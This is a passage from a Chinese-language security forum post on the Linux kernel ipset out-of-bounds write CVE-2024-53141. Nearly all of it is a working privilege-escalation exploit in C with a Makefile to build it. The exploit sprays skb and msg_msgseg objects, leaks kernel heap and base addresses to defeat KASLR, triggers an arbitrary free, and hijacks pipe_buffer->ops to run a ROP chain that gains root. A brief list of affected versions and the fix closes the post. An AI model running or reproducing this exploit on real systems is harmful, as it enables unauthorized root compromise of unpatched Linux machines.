头,通常会分配在 kmalloc-1024 write(skbuff_kaslr_leak[i][0], buf, 0x200); write(skbuff_kaslr_leak[i][1], buf, 0x200); } } Loop: // 如果堆地址泄漏失败,则跳转回这里重试 // Fork 子进程进行漏洞利用尝试 if (fork() != 0) // 父进程 { int status = 0; wait(&status); // 等待子进程结束 if (status == 0) // 子进程 exit(0) 表示泄漏失败 { puts("Leak kheap fail, retry"); goto Loop; // 跳转回 Loop 重试 } // 如果子进程非正常退出或 exit 非 0 (表示可能成功或正在进行) // 父进程暂停自身,等待子进程完成 ROP 或被 crash 进程接管 raise(SIGSTOP); // 父进程理论上不会再继续执行,除非被外部信号唤醒 exit(0); // 添加退出,防止意外继续 } // --- 子进程:执行实际的漏洞利用 --- // 创建新的命名空间 (User, Network, IPC) // User NS: 允许执行需要 CAP_NET_ADMIN 的操作 (如 ipset) // Net NS: 隔离网络环境 // IPC NS: 隔离消息队列 SYSCHK(unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWIPC)); // --- 准备 msg_msgseg 喷射 --- // 创建大量 System V 消息队列 for (int i = 0; i < 0x4000; i++) { msqid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); SYSCHK(msqid[i]); } // --- 准备堆地址泄漏阶段的堆喷射 --- // 创建用于 kmalloc-cg-512 喷射的 socket pairs for (int i = 0; i < 0x100; i++) { SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, skbuff_heap_leak[i])); } msg.mtype = 1; // 设置消息类型 int fail = 1; // 未使用的变量 // 打开 Netlink 套接字 (用于与 ipset 交互) int sock_fd = netlink_open(NETLINK_NETFILTER); if (sock_fd < 0) { fprintf(stderr, "Failed to open Netlink socket\n"); return EXIT_FAILURE; } // --- 阶段一:内核堆地址泄漏 --- printf("[+] Stage 1: Kernel Heap Leak\n"); // 循环创建 ipset 对象,并进行堆喷射 for (int i = 0; i < 0x1000; i++) { sprintf(name, "%d", i); // 生成唯一的 ipset 名称 if (i == 0x800) // 在分配目标 ipset (名称 "2048") 之前 { printf("[+] Spraying skbs (kmalloc-cg-512) before target allocation...\n"); // 喷射 skb (kmalloc-cg-512),尝试将目标 ipset 夹在 skb 之间 for (int k = 0; k < 0x100; k++) // 写入 0x80 字节,加上头,通常分配在 kmalloc-128 或 kmalloc-192 // 这里写 0x80 目标是 kmalloc-512? 可能计算有误或依赖特定内核/配置 // 如果目标是 512,应该写接近 512 - skb_shared_info - skb_head 的大小 SYSCHK(write(skbuff_heap_leak[k][0], buf, 0x80)); } // 创建 ipset,目标 slab 为 kmalloc-cg-512 // 当 i == 0x800 时,extra=1,会添加 WITH_COMMENT 标志 create_ip_set_kmalloc_512(sock_fd, name, "bitmap:ip", AF_INET, i == 0x800); // 向每个创建的 ipset 添加一个元素 (-0x35),防止 OOB 循环失控 // 当 OOB 循环访问到这个 IP 时,adtfn 会返回 -IPSET_ERR_EXIST,循环会停止 add_ip_to_set(sock_fd, name, AF_INET, htonl(-0x35)); if (i == 0x800) // 在分配目标 ipset (名称 "2048") 之后 { printf("[+] Spraying skbs (kmalloc-cg-512) after target allocation...\n"); // 再次喷射 skb (kmalloc-cg-512) for (int k = 0; k < 0x100; k++) SYSCHK(write(skbuff_heap_leak[k][1], buf, 0x80)); printf("[+] Triggering OOB write for heap leak...\n"); // 触发漏洞,目标是名称为 "2048" (0x800 的字符串形式) 的 ipset // OOB 写会将 kmalloc-192 的指针写入相邻的 skb (来自 skbuff_heap_leak) trigger_oob_leak(sock_fd, "800", AF_INET); // 使用 "800" 而不是 "2048" } } // --- 读取泄漏的地址 --- printf("[+] Reading potential leaked heap addresses...\n"); // 从 skbuff_heap_leak socket 中读取数据 (使用 MSG_PEEK 不移除数据) // 检查缓冲区开头是否有非零值,这很可能是被 OOB 写写入的内核地址 for (int i = 0; i < 0x100; i++) { // 尝试从 socket pair 的两端读取 recv(skbuff_heap_leak[i][0], buf, 0x80, MSG_PEEK); if (*(size_t*)buf != 0) // 检查读取到的数据前 8 字节是否非零 { pipe_buf_addr = *(size_t *)buf; // 保存泄漏的地址 printf("[+] Leaked address found: 0x%lx from skbuff_heap_leak[%d][0]\n", pipe_buf_addr, i); break; // 找到一个就停止 } recv(skbuff_heap_leak[i][1], buf, 0x80, MSG_PEEK); if (*(size_t*)buf != 0) { pipe_buf_addr = *(size_t *)buf; printf("[+] Leaked address found: 0x%lx from skbuff_heap_leak[%d][1]\n", pipe_buf_addr, i); break; } } printf("Leaked potential kernel heap addr: 0x%lx\n", pipe_buf_addr); if (pipe_buf_addr == 0) // 如果没有泄漏到地址 { printf("[-] Heap leak failed.\n"); exit(0); // 退出,父进程会重试 } // --- 猜测 pipe_buffer 地址 --- // 基于泄漏的 kmalloc-192 地址,猜测一个对齐的 kmalloc-1024 地址 // pipe_buffer 通常分配在 kmalloc-1024 // 清除低 28 位 (0x10000000 - 1),得到一个比较大的区域基址 pipe_buf_addr &= ~(0x10000000 - 1); // 对齐猜测地址 printf("Guessed target pipe_buffer base addr: 0x%lx\n", pipe_buf_addr); // --- 阶段二:任意地址释放 (Arbitrary Free) --- printf("[+] Stage 2: Arbitrary Free via OOB write on msg_msgseg->next\n"); // 循环创建 ipset 对象 (kmalloc-cg-2048) 并喷射 msg_msgseg for (int i = 0; i < 0x1000; i++) { sprintf(name, "x%d", i); // 新的 ipset 名称前缀 'x' if (i == 0x800) // 在分配目标 ipset ("x2048") 之前 { printf("[+] Spraying msg_msgseg (kmalloc-cg-2048) before target allocation...\n"); // 喷射 msg_msgseg (目标 kmalloc-cg-2048) // 发送的消息大小 = PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE // 目的是让消息体跨越页边界,触发 msg_msgseg 分配 // KMALLOC_CG_2K (0x800) 是目标 slab 大小 for (int k = 0; k < 0x1000; k++) SYSCHK(msgsnd(msqid[k], &msg, PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE, 0)); } // 创建 ipset,目标 slab 为 kmalloc-cg-2048 // 当 i == 0x800 时,extra=1,添加 WITH_COUNTERS 标志 create_ip_set_kmalloc_2048(sock_fd, name, "bitmap:ip", AF_INET, i == 0x800); // 向每个 ipset 添加一个元素 (-0x40 + 0x3b = -5),防止 OOB 循环失控 // OOB 循环从 ip = 0xe0000000 开始,需要很长时间才能到达 -5,所以这个可能不是主要停止机制 // 可能是为了确保 ipset 内部状态一致性 add_ip_to_set(sock_fd, name, AF_INET, htonl(-0x40 + 0x3b)); if (i == 0x800) // 在分配目标 ipset ("x2048") 之后 { printf("[+] Spraying msg_msgseg (kmalloc-cg-2048) after target allocation...\n"); // 再次喷射 msg_msgseg,完成对目标 ipset 的夹逼 for (int k = 0; k < 0x1000; k++) SYSCHK(msgsnd(msqid[k + 0x1000], &msg, PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE, 0)); printf("[+] Triggering OOB write to overwrite msg_msgseg->next...\n"); // 触发漏洞,目标是名称为 "x2048" (0x800 的字符串形式加'x') 的 ipset // OOB 写会将猜测的 pipe_buf_addr 写入相邻 msg_msgseg 的 next 字段 trigger_oob_write(sock_fd, "x800", AF_INET); // 使用 "x800" } } // --- 触发任意 Free --- printf("[+] Freeing messages to trigger arbitrary free at 0x%lx...\n", pipe_buf_addr); // 接收所有消息,这将调用 free_msg // 当处理到被篡改 next 指针的 msg_msgseg 时,会 kfree(pipe_buf_addr) char *read_only = SYSCHK(mmap(0, 0x1000, PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0)); // 只读内存,防止意外写入 for (int i = 0; i < 0x2000; i++) // 接收之前发送的所有消息 msgrcv(msqid[i], read_only, PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE, 1, IPC_NOWAIT); // IPC_NOWAIT 避免阻塞 munmap(read_only, 0x1000); // 释放只读内存 // --- 阶段三:KASLR 绕过 --- printf("[+] Stage 3: KASLR Bypass\n"); // --- 回收被释放的内存为 pipe_buffer --- printf("[+] Allocating pipe_buffers to reclaim the freed chunk...\n"); for (int i = 0; i < NPIPE; i++) SYSCHK(pipe(pipe_fd[i])); // 创建管道,分配 pipe_buffer (kmalloc-1024) // --- 填充 pipe_buffer 并准备泄漏 --- printf("[+] Writing to pipes to populate pipe_buffers...\n"); for (int i = 0; i < NPIPE; i++) { SYSCHK(write(pipe_fd[i][1], buf, 0x1000)); // 向管道写入数据,填充 pipe_buffer (包括 ops 指针) } #define PIPE_BUFFER_OFFS_OPS 0x10 // pipe_buffer->ops 在结构体中的偏移 // --- 尝试从 skb 中泄漏 pipe_buffer->ops --- printf("[+] Reading skbs to leak pipe_buffer->ops...\n"); KERNEL_BASE = 0; // 重置 KERNEL_BASE // 遍历之前喷射的 skbuff_kaslr_leak socket for (int i = 0; i < 0x400; i++) { for (int j = 0; j < 0x100; j++) { // 读取 skb 数据。如果这个 skb 的内存被 pipe_buffer 回收了,就能读到 pipe_buffer 的内容 read(skbuff_kaslr_leak[i][0], buf, 0x200); // 检查偏移 0x10 处是否像一个内核地址 (高位置位) if ((*(size_t *)&buf[PIPE_BUFFER_OFFS_OPS]) > 0xffffffff80000000) { KERNEL_BASE = *(size_t *)&buf[PIPE_BUFFER_OFFS_OPS]; // 获取 ops 指针 printf("[+] Leaked pipe_buffer->ops = 0x%lx from skbuff_kaslr_leak[%d][0], iter %d\n", KERNEL_BASE, i, j); goto found_ops; // 找到即跳转 } read(skbuff_kaslr_leak[i][1], buf, 0x200); if ((*(size_t *)&buf[PIPE_BUFFER_OFFS_OPS]) > 0xffffffff80000000) { KERNEL_BASE = *(size_t *)&buf[PIPE_BUFFER_OFFS_OPS]; printf("[+] Leaked pipe_buffer->ops = 0x%lx from skbuff_kaslr_leak[%d][1], iter %d\n", KERNEL_BASE, i, j); goto found_ops; // 找到即跳转 } } } found_ops: if (KERNEL_BASE == 0) { printf("[-] Failed to leak pipe_buffer->ops.\n"); exit(1); // 泄漏失败则退出 } // --- 计算内核基地址 --- KERNEL_BASE -= ANON_PIPE_BUF_OPS_OFF; // KERNEL_BASE = ops_addr - ops_offset printf("[+] Calculated KERNEL_BASE = 0x%lx\n", KERNEL_BASE); if (KERNEL_BASE < 0xffffffff80000000) { printf("[-] Invalid KERNEL_BASE calculated.\n"); exit(1); } // --- 阶段四:控制 RIP --- printf("[+] Stage 4: RIP Control\n"); // --- 构造伪造的 pipe_buffer 和 ROP 链 --- printf("[+] Building fake pipe_buffer with ROP chain at user addr %p, kernel addr 0x%lx\n", buf, pipe_buf_addr); build_fake_pipe_buffer_with_rop_chain(pipe_buf_addr, (char *)buf); // --- UAF: 回收 pipe_buffer 为 skb --- printf("[+] Reclaiming target pipe_buffer chunk with fake buffer via skb spray...\n"); // 读取 skb 会释放其内存 (第一次 UAF 触发点) // 这里需要确保目标 pipe_buffer 已经被释放 // 然后再次喷射 skb (使用 skbuff_heap_leak,目标 kmalloc-512) // 目标是用包含 ROP payload 的 buf 来覆盖 UAF 的 pipe_buffer 内存 for (int i = 0; i < 0x100; i++) { // 使用 skbuff_heap_leak (kmalloc-512?) 写入 0x200 字节 payload SYSCHK(write(skbuff_heap_leak[i][1], buf, 0x200)); } // --- 触发 RIP 控制 --- printf("[+] Closing pipes to trigger pipe_buf_release and RIP control...\n"); // 关闭所有管道,这将触发 pipe_release -> pipe_buf_release // 如果我们成功用伪造的 pipe_buffer 覆盖了 UAF 对象, // pipe_buf_release 会调用伪造的 ops->release (PIVOT3),启动栈迁移和 ROP 链 for (int i = 0; i < NPIPE; i++) { close(pipe_fd[i][0]); close(pipe_fd[i][1]); } printf("[+] ROP chain should be executing... If not, exploit failed.\n"); // ROP 链执行 msleep,此时子进程应该暂停 // crash 进程会检测到 core_pattern 变化并崩溃,执行提权 payload return EXIT_SUCCESS; // 子进程正常退出 (如果 ROP 链没有崩溃或 msleep 结束) } ``` 这是makefile(上面的代码保存为exploit.c): ```php LIBMNL_DIR = $(realpath ./)/libmnl_build LIBNFTNL_DIR = $(realpath ./)/libnftnl_build LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include CFLAGS = -static -s exploit: exploit.c gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS) prerequisites: libnftnl-build libmnl-build : libmnl-download tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install libnftnl-build : libmnl-build libnftnl-download tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install libmnl-download : mkdir $(LIBMNL_DIR) wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 libnftnl-download : mkdir $(LIBNFTNL_DIR) wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz run: ./exploit clean: rm -f exploit rm -rf $(LIBMNL_DIR) rm -rf $(LIBNFTNL_DIR) ``` 复现视频参考:<https://cdn-0.securityonline.info/wp-content/uploads/2025/04/LPE.mp4> ### **受影响版本与修复方案** - **受影响版本**: Linux内核v2.6.39至v4.19.324、v6.6.62至v6.12.1。 - **修复补丁**: 在CIDR处理后添加对`ip`的重新检查 参考链接 ---- <https://ubuntu.com/security/CVE-2024-53141> <https://nvd.nist.gov/vuln/detail/CVE-2024-53141> <https://www.wiz.io/vulnerability-database/cve/cve-2024-53141> <https://gbhackers.com/poc-released-for-linux-kernel-vulnerability/>
发表于 2025-05-06 09:00:03
阅读 ( 281 )
分类:
操作系统
0 推荐
收藏
0 条评论
请先
登录
后评论
吃不饱的崽
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!